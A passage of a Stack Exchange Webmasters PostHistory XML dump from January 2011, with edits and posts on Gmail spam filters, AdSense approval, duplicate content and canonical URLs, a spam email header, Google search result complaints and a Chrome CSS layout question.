http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://Michael" />
  <row Id="18096" PostHistoryTypeId="25" PostId="8384" RevisionGUID="53626d3d-5cc3-4bcc-ba59-0c68abc92810" CreationDate="2011-01-28T08:16:06.173" Comment="http://twitter.com/#!/StackWebmasters/status/30901918280716288" />
  <row Id="18097" PostHistoryTypeId="2" PostId="8394" RevisionGUID="a777d1e0-ca56-460b-bb41-84f2db0cc367" CreationDate="2011-01-28T08:20:11.147" UserId="3467" Text="To whitelist individual email addresses:&#xD;&#xA;&#xD;&#xA;Settings -&gt; Filters -&gt; Create a new filter. &#xD;&#xA;Fill in the emailaddress in the &quot;From&quot; field, click Next, and select &quot;Never send to spam&quot;. Instead of an entire emailaddress you could use a partial address too, like @yourcompany.com to whitelist all mail from that domain name.&#xD;&#xA;&#xD;&#xA;You can also just pick a mail from the spam box and click the button &quot;Not spam&quot;. If you do this a few times for the same sender their mail will start ending up in your inbox too.&#xD;&#xA;&#xD;&#xA;To always show the spam box: &#xD;&#xA;&#xD;&#xA;Settings -&gt; Labels&#xD;&#xA;&#xD;&#xA;In the first list (system labels) look up 'Spam' and click the 'show' link next to it. Here you can set show/hide settings for all your other labels as well." />
  <row Id="18098" PostHistoryTypeId="2" PostId="8395" RevisionGUID="c3809741-da65-4bf4-925e-7ee2809c771e" CreationDate="2011-01-28T09:44:28.677" UserId="3461" Text="I would recommend you using Photoshop Elements over the other. It has certainly good selections flexibility, and is very useful. Is not photoshop, but is quite good, and very well priced. IMHO Elements has better tools for the &quot;deep level&quot; work. The toys or &quot;magical&quot; features (ie, red eyes removing) are always things that can be done with strong basic features, if they are well implemented. IE, selections, etc. Which is pretty solid in Elements, specially at that price. Remember though that Elements hasn't got the CMYK printing features of Photoshop, but you are not needing that, I guess.&#xD;&#xA;&#xD;&#xA;For certain extra feature you might need one day or another, I'd recomend to have always installed a recent version of Gimp, it's becoming quite powerful. Even while I would prefer Elements GUI for the everyday work." />
  <row Id="18099" PostHistoryTypeId="2" PostId="8396" RevisionGUID="927bb3f0-4028-4ade-8c61-ad6930b1db5a" CreationDate="2011-01-28T09:58:41.340" UserId="2930" Text="I have a blog.I made a long time ago in August 10.I have posted about 92 posts and I am getting hits per day.I don't know  where I lack.Why doesn't google adsense approve my blog?" />
  <row Id="18100" PostHistoryTypeId="1" PostId="8396" RevisionGUID="927bb3f0-4028-4ade-8c61-ad6930b1db5a" CreationDate="2011-01-28T09:58:41.340" UserId="2930" Text="More than 6 months old blog,about 60 hits per day,90+ posts but google adsense not approving" />
  <row Id="18101" PostHistoryTypeId="3" PostId="8396" RevisionGUID="927bb3f0-4028-4ade-8c61-ad6930b1db5a" CreationDate="2011-01-28T09:58:41.340" UserId="2930" Text="&lt;google-adsense&gt;" />
  <row Id="18103" PostHistoryTypeId="2" PostId="8398" RevisionGUID="2c0ca07a-51d2-4a84-96bd-f144560427cc" CreationDate="2011-01-28T10:27:31.520" UserId="3467" Text="&gt; **Content Guidelines**&#xD;&#xA;&#xD;&#xA;&gt;Publishers may not place AdSense code on pages with content that violates any of our content guidelines. Some examples include content that is adult, violent or advocating racial intolerance. &#xD;&#xA;View full content policies.&#xD;&#xA;Sites with Google ads may not include or link to:&#xD;&#xA;&#xD;&#xA;&gt;- Pornography, adult or mature content&#xD;&#xA;-  Violent content &#xD;&#xA;- Content related to racial intolerance or advocacy against any individual, group or&#xD;&#xA;   organisation &#xD;&#xA;- Excessive profanity&#xD;&#xA;- **Hacking/cracking content**&#xD;&#xA;- Gambling or casino-related content&#xD;&#xA;- Illicit drugs and drug paraphernalia content&#xD;&#xA;- Sales of beer or hard alcohol&#xD;&#xA;&#xD;&#xA;&gt;[etcetera..][1]&#xD;&#xA;&#xD;&#xA;Your blog:&#xD;&#xA;http://mycsnippets.blogspot.com/search/label/hacking&#xD;&#xA;&#xD;&#xA;Or maybe it's just that your site plain sucks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=48182" />
  <row Id="18105" PostHistoryTypeId="25" PostId="8393" RevisionGUID="a5d71fea-a5ec-447a-84a5-3d2c5c37c323" CreationDate="2011-01-28T11:16:05.707" Comment="http://twitter.com/#!/StackWebmasters/status/30947214859702272" />
  <row Id="18106" PostHistoryTypeId="2" PostId="8399" RevisionGUID="8276e45f-b1c9-44ee-a457-4c7711c64d95" CreationDate="2011-01-28T11:29:09.717" UserId="108" Text="Everything @danelfree said is spot on.  Confusing to spell or pronounce sites are usually the the worst ones to register.  &#xD;&#xA;&#xD;&#xA;I found this out the hard way once.  When you think about the name say it out loud a bunch and share the name with your friends but say it fast or slow or on the phone.  See how people misinterpret it.  The last thing you want is a website that people either totally don't understand or that sounds like something risque (assuming that you aren't going for risque).  &#xD;&#xA;&#xD;&#xA;Remember your domain name is one of your strongest keywords.  So if you can find a name that is even semi-relevant it might be helpful." />
  <row Id="18107" PostHistoryTypeId="2" PostId="8400" RevisionGUID="f1697f94-9871-4a4a-8a08-94b73f75a227" CreationDate="2011-01-28T11:33:19.833" UserDisplayName="user4983" Text="http://stackoverflow.com/questions/4827029/how-to-access-a-function-inside-the-javascript-file" />
  <row Id="18108" PostHistoryTypeId="1" PostId="8400" RevisionGUID="f1697f94-9871-4a4a-8a08-94b73f75a227" CreationDate="2011-01-28T11:33:19.833" UserDisplayName="user4983" Text="how to access a function inside the javascript file?" />
  <row Id="18109" PostHistoryTypeId="3" PostId="8400" RevisionGUID="f1697f94-9871-4a4a-8a08-94b73f75a227" CreationDate="2011-01-28T11:33:19.833" UserDisplayName="user4983" Text="&lt;html&gt;&lt;javascript&gt;" />
  <row Id="18110" PostHistoryTypeId="5" PostId="8335" RevisionGUID="3fda5d24-54a7-4b2a-a14f-b7a4a9165b43" CreationDate="2011-01-28T12:10:06.220" UserId="4951" Comment="added 273 characters in body" Text="I received this spam in my catch-all. &#xD;&#xA;As a webmaster of the domain it was sent to, I am really curious what the reason for this mail is. It was sent to a non-existent user &quot;tania&quot; on my domain - here I used mydomain.zzz - what do the sender want to achieve? Since many mail servers have stopped backscattering, not getting a bounce would not mean anything, would it?&#xD;&#xA;&#xD;&#xA;And if this is off topic, where inb the StackExchange WOULD it be on topic?&#xD;&#xA;&#xD;&#xA;    Delivered-To: arbitraryname@mydomain.zzz&#xD;&#xA;    Received: (qmail 8015 invoked from network); 27 Jan 2011 02:32:47 -0000&#xD;&#xA;    Received: from unknown (HELO p3pismtp01-021.prod.phx3.secureserver.net) ([10.6.12.26])&#xD;&#xA;              (envelope-sender &lt;Planet1@dt3ls.com&gt;)&#xD;&#xA;              by smtp35.prod.mesa1.secureserver.net (qmail-1.03) with SMTP&#xD;&#xA;              for &lt;arbitraryname@mydomain.zzz&gt;; 27 Jan 2011 02:32:47 -0000&#xD;&#xA;    X-IronPort-Anti-Spam-Result: At4FAAlnQE1GVjtCVGdsb2JhbACWXo4gCwEWCA0YJLwyhU8EhRc&#xD;&#xA;    Received: from mx.dt3ls.com ([70.86.59.66])&#xD;&#xA;      by p3pismtp01-021.prod.phx3.secureserver.net with ESMTP; 26 Jan 2011 19:32:47 -0700&#xD;&#xA;    Received: from 70.86.59.66&#xD;&#xA;            by mx.dt3ls.com (Merak 8.9.1) with ASMTP id JXF39710&#xD;&#xA;            for &lt;arbitraryname@mydomain.zzz&gt;; Wed, 26 Jan 2011 17:31:10 -0500&#xD;&#xA;    Return-Path: Planet1@dt3ls.com&#xD;&#xA;    Status: &#xD;&#xA;    Message-ID: &lt;20110126173109.4d9d6c3f2b@1c3c&gt;&#xD;&#xA;    From: &quot;Tech Support&quot; &lt;Planet1@dt3ls.com&gt;&#xD;&#xA;    To: &lt;arbitraryname@mydomain.zzz&gt;&#xD;&#xA;    Subject: Information, as instructed.&#xD;&#xA;    Date: Wed, 26 Jan 2011 17:31:09 -0500&#xD;&#xA;    X-Priority: 3&#xD;&#xA;    X-Mailer: General-Mailer v.3&#xD;&#xA;    MIME-Version: 1.0&#xD;&#xA;    Content-Type: text/plain;&#xD;&#xA;      charset=&quot;us-ascii&quot;&#xD;&#xA;    Content-Transfer-Encoding: 7bit&#xD;&#xA;    &#xD;&#xA;    Quote:&#xD;&#xA;    &#xD;&#xA;    I give it to you not that you may remember time, but that you might &#xD;&#xA;    forget it now and then for a moment and not spend all your breath trying &#xD;&#xA;    to conquer it. Because no battle is ever won he said. They are not even &#xD;&#xA;    fought. The field reveals to a man his own folly and despair, and victory &#xD;&#xA;    is an illusion of philosophers and fools.&#xD;&#xA;    &#xD;&#xA;    William Faulkner&#xD;&#xA;    The Sound and the Fury&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18111" PostHistoryTypeId="2" PostId="8401" RevisionGUID="11ab519b-b3f5-49f4-99fc-bde4ce69f8d2" CreationDate="2011-01-28T12:43:00.827" UserId="4984" Text="I am building a website for a client and would like to have some tabs on each product page with the instructions, postage info, ordering info in, the problem is that most of these tabs are universal and will be the same across more than one product. Will the site get penalised for duplicate content and is there a way to point to the original content in some way?" />
  <row Id="18112" PostHistoryTypeId="1" PostId="8401" RevisionGUID="11ab519b-b3f5-49f4-99fc-bde4ce69f8d2" CreationDate="2011-01-28T12:43:00.827" UserId="4984" Text="Duplicate content, point to original?" />
  <row Id="18113" PostHistoryTypeId="3" PostId="8401" RevisionGUID="11ab519b-b3f5-49f4-99fc-bde4ce69f8d2" CreationDate="2011-01-28T12:43:00.827" UserId="4984" Text="&lt;seo&gt;&lt;google&gt;&lt;content&gt;" />
  <row Id="18114" PostHistoryTypeId="10" PostId="8400" RevisionGUID="abcbfafd-9cf1-4c44-afb5-1f7762111315" CreationDate="2011-01-28T12:49:24.653" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:1757,&quot;DisplayName&quot;:&quot;Lèse majesté&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18115" PostHistoryTypeId="10" PostId="8393" RevisionGUID="669470ac-7cf3-4e6a-9f9d-aec811041f28" CreationDate="2011-01-28T12:49:53.903" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:1757,&quot;DisplayName&quot;:&quot;Lèse majesté&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18116" PostHistoryTypeId="2" PostId="8402" RevisionGUID="5e4804a4-b787-438f-aad6-055e94077114" CreationDate="2011-01-28T01:46:31.187" UserDisplayName="EmBeRlicious" Text="I have been browsing all night for a way to improve my blog on blogger and actually nothing came up just that i could include some widgets that need java codes. Witch are the best widgets i could add without killing the SEO and where is a good place i could find ways to Tweak my blog and learn to sustain it better. It's my first blog and maybe it will not go viral but at least i want to try ! Thank you so very much !" />
  <row Id="18117" PostHistoryTypeId="1" PostId="8402" RevisionGUID="5e4804a4-b787-438f-aad6-055e94077114" CreationDate="2011-01-28T01:46:31.187" UserDisplayName="EmBeRlicious" Text="My Blog Needs some Upgrading !" />
  <row Id="18118" PostHistoryTypeId="3" PostId="8402" RevisionGUID="5e4804a4-b787-438f-aad6-055e94077114" CreationDate="2011-01-28T01:46:31.187" UserDisplayName="EmBeRlicious" Text="&lt;seo&gt;&lt;blog&gt;&lt;widgets&gt;&lt;blogger&gt;" />
  <row Id="18119" PostHistoryTypeId="17" PostId="8402" RevisionGUID="f8e384ce-a649-4e06-8421-3d66b3587869" CreationDate="2011-01-28T12:51:16.937" UserId="-1" Comment="from http://stackoverflow.com/questions/4824021/my-blog-needs-some-upgrading" Text="" />
  <row Id="18123" PostHistoryTypeId="2" PostId="8404" RevisionGUID="c86c3c3a-c1d4-4ab8-8dd4-345bea751831" CreationDate="2011-01-28T12:55:14.240" UserId="1253" Text="You won't get penalized but it's likely the duplicate pages will get filtered out. Use [Canonical URLs][1] to point to one page that should be considered the master page and shown the the search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="18124" PostHistoryTypeId="2" PostId="8405" RevisionGUID="01de32f3-8e03-4054-b319-ab4507eaee63" CreationDate="2011-01-28T12:55:23.960" UserId="1757" Text="The only non-sketchy SMS ad network I know of is [4INFO][1]. They also have a program called AdHaven Mobile, but I'm not sure how it's different from their ad service for publishers.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mobilemedia.4info.com/publishers/" />
  <row Id="18128" PostHistoryTypeId="2" PostId="8406" RevisionGUID="375ba49b-b4a3-470f-b04c-42bcb44245be" CreationDate="2011-01-28T13:09:19.480" UserId="1757" Text="Before you start worrying about widgets, advertising, RSS, or any of the other peripheral components to your blog, you need to actually have good content. If you don't have good content, you can add all the widgets and &quot;java codes&quot; you want, and you'll still just have a useless blog that no one visits.&#xD;&#xA;&#xD;&#xA;&quot;Content is king&quot; isn't just a cliche. It's an axiom of online success. You need to either provide a service that people want or publish content that people want. That's what makes your site useful. A blog is no different.&#xD;&#xA;&#xD;&#xA;Once you have good, unique (original) content, you can think about monetizing, promoting, syndicating, etc. No one is going to come to your blog just for some sidebar widget you installed." />
  <row Id="18129" PostHistoryTypeId="25" PostId="8401" RevisionGUID="47cf7930-f33e-415f-bd1c-1180a6196889" CreationDate="2011-01-28T14:16:06.293" Comment="http://twitter.com/#!/StackWebmasters/status/30992514517311490" />
  <row Id="18130" PostHistoryTypeId="5" PostId="8353" RevisionGUID="4d815f53-091e-47ed-854b-0246a37181e7" CreationDate="2011-01-28T14:20:35.493" UserId="2552" Comment="deleted 67 characters in body" Text="&gt; Google Apps is one that we are considering. However, they are charging $50 per user, per year. Not so bad, considering the quality and the features they offer.&#xD;&#xA;&#xD;&#xA;It's free for less than 50 users which makes it a great solution if you're working with a small company. &#xD;&#xA;&#xD;&#xA;[Rackspace][1] Email hosting is fairly cheap coming in around $24 a year per user versus $50 with google. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.com/apps/email_hosting/rackspace_email/" />
  <row Id="18131" PostHistoryTypeId="2" PostId="8407" RevisionGUID="82c51e5d-03ca-4ec4-9b49-e87324be8e6f" CreationDate="2011-01-28T15:23:17.157" UserId="1504" Text="I've migrated all my e-mail clients to Google Apps. They are all on the free version (up-to 50 Users, not as much space and not as high as a guarantee for uptime).&#xD;&#xA;&#xD;&#xA;50 Users doesn't include groups / aliases&#xD;&#xA;You still get the normal gmail space of about 10GB&#xD;&#xA;The uptime is still over 99.9%&#xD;&#xA;&#xD;&#xA;Since '07, I've only had my clients call me two , maybe three times with issues. I've got about two dozen clients on google apps. The service is solid.&#xD;&#xA;&#xD;&#xA;A couple of the things I like, you can activesync for cell phones, so calendar and contacts on most all smartphones. You've got calendar and contact sharing, and I believe they've pushed out the ability to share inboxes. So you are really getting a full exchange-style mail services .. for free.&#xD;&#xA;&#xD;&#xA;On top of mail/calendar/contacts you get a private area for documents a sites ( like a wiki ). Their service is really top notch I can't praise it more really :)" />
  <row Id="18132" PostHistoryTypeId="10" PostId="8313" RevisionGUID="8af98c01-eaca-43ee-aa1a-84e0218ae083" CreationDate="2011-01-28T15:28:35.803" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18133" PostHistoryTypeId="2" PostId="8408" RevisionGUID="0f87c1c0-5041-408f-8a2c-e1582c07a0d5" CreationDate="2011-01-28T15:31:37.867" UserId="1953" Text="It likely depends on how it is implemented. If it's only a small part of the content on the page it shouldn't be a problem, if it is most of the content on the page then it could cause issues. Most sites have one order policy, shipping policy etc. and just link to those pages that way users can find the info but it's not duplicated on every page. There are other alternatives such as JavaScript, pop-ups, or frames that can help keep Google from crawling that content that you may want to consider if the duplicate content is an issue." />
  <row Id="18134" PostHistoryTypeId="5" PostId="8313" RevisionGUID="81ccb5fa-13ba-49e5-9fca-787496c517ea" CreationDate="2011-01-28T15:33:26.680" UserId="4643" Comment="added 228 characters in body; deleted 52 characters in body; added 17 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine presented to general public?  &#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7], &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;  &#xD;&#xA;Update:  &#xD;&#xA;I could not understand:    &#xD;&#xA;nobody reproduces the described by me behavior  &#xD;&#xA;(i.e. when I click &quot;Past 24 hours&quot; link in google search searching for keycaptcha,   &#xD;&#xA;the presented results are only on reCAPTCHA presented)?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://Michael" />
  <row Id="18135" PostHistoryTypeId="16" PostId="8313" RevisionGUID="81ccb5fa-13ba-49e5-9fca-787496c517ea" CreationDate="2011-01-28T15:34:29.347" UserId="4643" Comment="added 228 characters in body; deleted 52 characters in body; added 17 characters in body" />
  <row Id="18136" PostHistoryTypeId="2" PostId="8409" RevisionGUID="434dc888-5c26-4ef2-8b97-3518f35eb4ee" CreationDate="2011-01-28T15:43:53.610" UserId="4990" Text="Sites like acid cow, bored.com etc are worth aproaching to see if they will take up your punchline. short of that its really down to if your site is funny/engaging enough.&#xD;&#xA;&#xD;&#xA;One thing that might work is getting your punchine to be spread by some influential social media users and forum mods etc..." />
  <row Id="18137" PostHistoryTypeId="2" PostId="8410" RevisionGUID="dc713962-dca7-4234-b0c7-ed8f7a302931" CreationDate="2011-01-28T15:47:54.030" UserId="4990" Text="If you have some people already using your software, get them to do a testimonial for you. how did it help them? what was there problem? how was your product better than the others? &#xD;&#xA;&#xD;&#xA;Its just a small tip but It works especcailly well if you have some well known clients you can stick the logo of on your site." />
  <row Id="18138" PostHistoryTypeId="2" PostId="8411" RevisionGUID="4861faa0-6315-4c25-bb7d-117467dba93a" CreationDate="2011-01-28T15:53:31.153" UserDisplayName="user4991" Text="Ok guys, I give up. Here's the code I'm struggling with:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;&#xD;&#xA;        &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;&#xD;&#xA;    &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;        &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=utf-8&quot; /&gt;&#xD;&#xA;        &lt;title&gt;Blah&lt;/title&gt;&#xD;&#xA;    &#xD;&#xA;        &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;            #container {&#xD;&#xA;                margin: 0 auto;&#xD;&#xA;                width: 350px;&#xD;&#xA;                border: 1px solid #ccc;&#xD;&#xA;            }&#xD;&#xA;        &#xD;&#xA;            ul {&#xD;&#xA;                list-style-type: none;&#xD;&#xA;                margin: 0;&#xD;&#xA;                padding: 0;&#xD;&#xA;                text-align: center;&#xD;&#xA;            }&#xD;&#xA;        &#xD;&#xA;            ul li {&#xD;&#xA;                display: inline;&#xD;&#xA;                padding: 5px;&#xD;&#xA;                margin: 0 1px;&#xD;&#xA;                background-color: lime;&#xD;&#xA;                line-height: 2em;&#xD;&#xA;            &#xD;&#xA;                /* border: 1px solid red; */&#xD;&#xA;            }&#xD;&#xA;        &lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;        &lt;div id=&quot;container&quot;&gt;&#xD;&#xA;            &lt;ul&gt;&#xD;&#xA;                &lt;li&gt;Element A&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Element B&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Element C&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Element D&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Element E&lt;/li&gt;&#xD;&#xA;                &lt;li&gt;Element F&lt;/li&gt;&#xD;&#xA;            &lt;/ul&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;Why the heck does Chrome trim the right side of &quot;Element D&quot; (even though there is enough space to display whole item), while Firefox and even Internet Explorer render this code properly? It becomes more visible when we apply the commented border.&#xD;&#xA;&#xD;&#xA;In other words, is there a way to tell the browser that I want every single `&lt;li&gt;` element to be autonomic, and thus to move it to the next row if it doesn't fit entirely in the previous one?&#xD;&#xA;&#xD;&#xA;Can't wait to see the solution, thanks in advance." />
  <row Id="18139" PostHistoryTypeId="1" PostId="8411" RevisionGUID="4861faa0-6315-4c25-bb7d-117467dba93a" CreationDate="2011-01-28T15:53:31.153" UserDisplayName="user4991" Text="Chrome trims the last &lt;li&gt; element in a row" />
  <row Id="18140" PostHistoryTypeId="3" PostId="8411" RevisionGUID="4861faa0-6315-4c25-bb7d-117467dba93a" CreationDate="2011-01-28T15:53:31.153" UserDisplayName="user4991" Text="&lt;css&gt;&lt;xhtml&gt;" />
  <row Id="18141" PostHistoryTypeId="10" PostId="8411" RevisionGUID="57192161-3789-454a-97d2-a61ac098a76e" CreationDate="2011-01-28T15:54:15.193" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18142" PostHistoryTypeId="5" PostId="8404" RevisionGUID="ae35b7dc-d10c-4380-bf69-097a24baa189" CreationDate="2011-01-28T16:01:12.283" UserId="1253" Comment="added 470 characters in body" Text="You won't get penalized but it's likely the duplicate pages will get filtered out. Use [Canonical URLs][1] to point to one page that should be considered the master page and shown the the search results.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;If it's just a tab on each product page and there is more unique content related to each product I would worry about duplicate content issues. This is common and Google is smart enough (so far) to know each product is different and not filter products out just because some of the content is identical. Duplicate content issues only come into play when the majority/all of the content is duplicated across multiple URLs. That clearly isn't the case here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="18143" PostHistoryTypeId="5" PostId="8406" RevisionGUID="637db4c6-4c39-4594-ad12-cb00394c7341" CreationDate="2011-01-28T16:15:24.713" UserId="1757" Comment="added 171 characters in body; deleted 171 characters in body" Text="Before you start worrying about widgets, advertising, RSS, or any of the other peripheral components to your blog, you need to actually have good content. If you don't have good content, you can add all the widgets and &quot;java codes&quot; you want, and you'll still just have a useless blog that no one visits.&#xD;&#xA;&#xD;&#xA;&quot;Content is king&quot; isn't just a cliche. It's an axiom of online success. You need to either provide a service that people want or publish content that people want. That's what makes your site useful. A blog is no different.&#xD;&#xA;&#xD;&#xA;Once you have good, unique (original) content, you can think about monetizing, promoting, syndicating, etc. No one is going to come to your blog just for some sidebar widget you installed." />
  <row Id="18144" PostHistoryTypeId="5" PostId="8404" RevisionGUID="09f636e1-c8e1-4acf-980a-f7a80157aaf1" CreationDate="2011-01-28T16:21:51.383" UserId="1253" Comment="added 3 characters in body" Text="You won't get penalized but it's likely the duplicate pages will get filtered out. Use [Canonical URLs][1] to point to one page that should be considered the master page and shown the the search results.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;If it's just a tab on each product page and there is more unique content related to each product I wouldn't worry about duplicate content issues. This is common and Google is smart enough (so far) to know each product is different and not filter products out just because some of the content is identical. Duplicate content issues only come into play when the majority/all of the content is duplicated across multiple URLs. That clearly isn't the case here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
